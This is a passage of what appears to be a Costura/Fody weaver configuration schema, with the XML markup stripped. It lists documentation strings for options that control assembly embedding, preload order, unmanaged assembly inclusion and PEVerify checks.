assemblies are no longer included as part of the build. This cleanup can be turned off. 54 | 55 | 56 | 57 | 58 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 59 | 60 | 61 | 62 | 63 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 64 | 65 | 66 | 67 | 68 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 69 | 70 | 71 | 72 | 73 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 74 | 75 | 76 | 77 | 78 | A list of unmanaged 32 bit assembly names to include, delimited with |. 79 | 80 | 81 | 82 | 83 | A list of unmanaged 64 bit assembly names to include, delimited with |. 84 | 85 | 86 | 87 | 88 | The order of preloaded assemblies, delimited with |. 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 97 | 98 | 99 | 100 | 101 | A comma-separated list of error codes that can be safely ignored in assembly verification. 102 | 103 | 104 | 105 | 106 | 'false' to turn off automatic generation of the XML Schema file. 107 | 108 | 109 | 110 | 111 | --------------------------------------------------------------------------------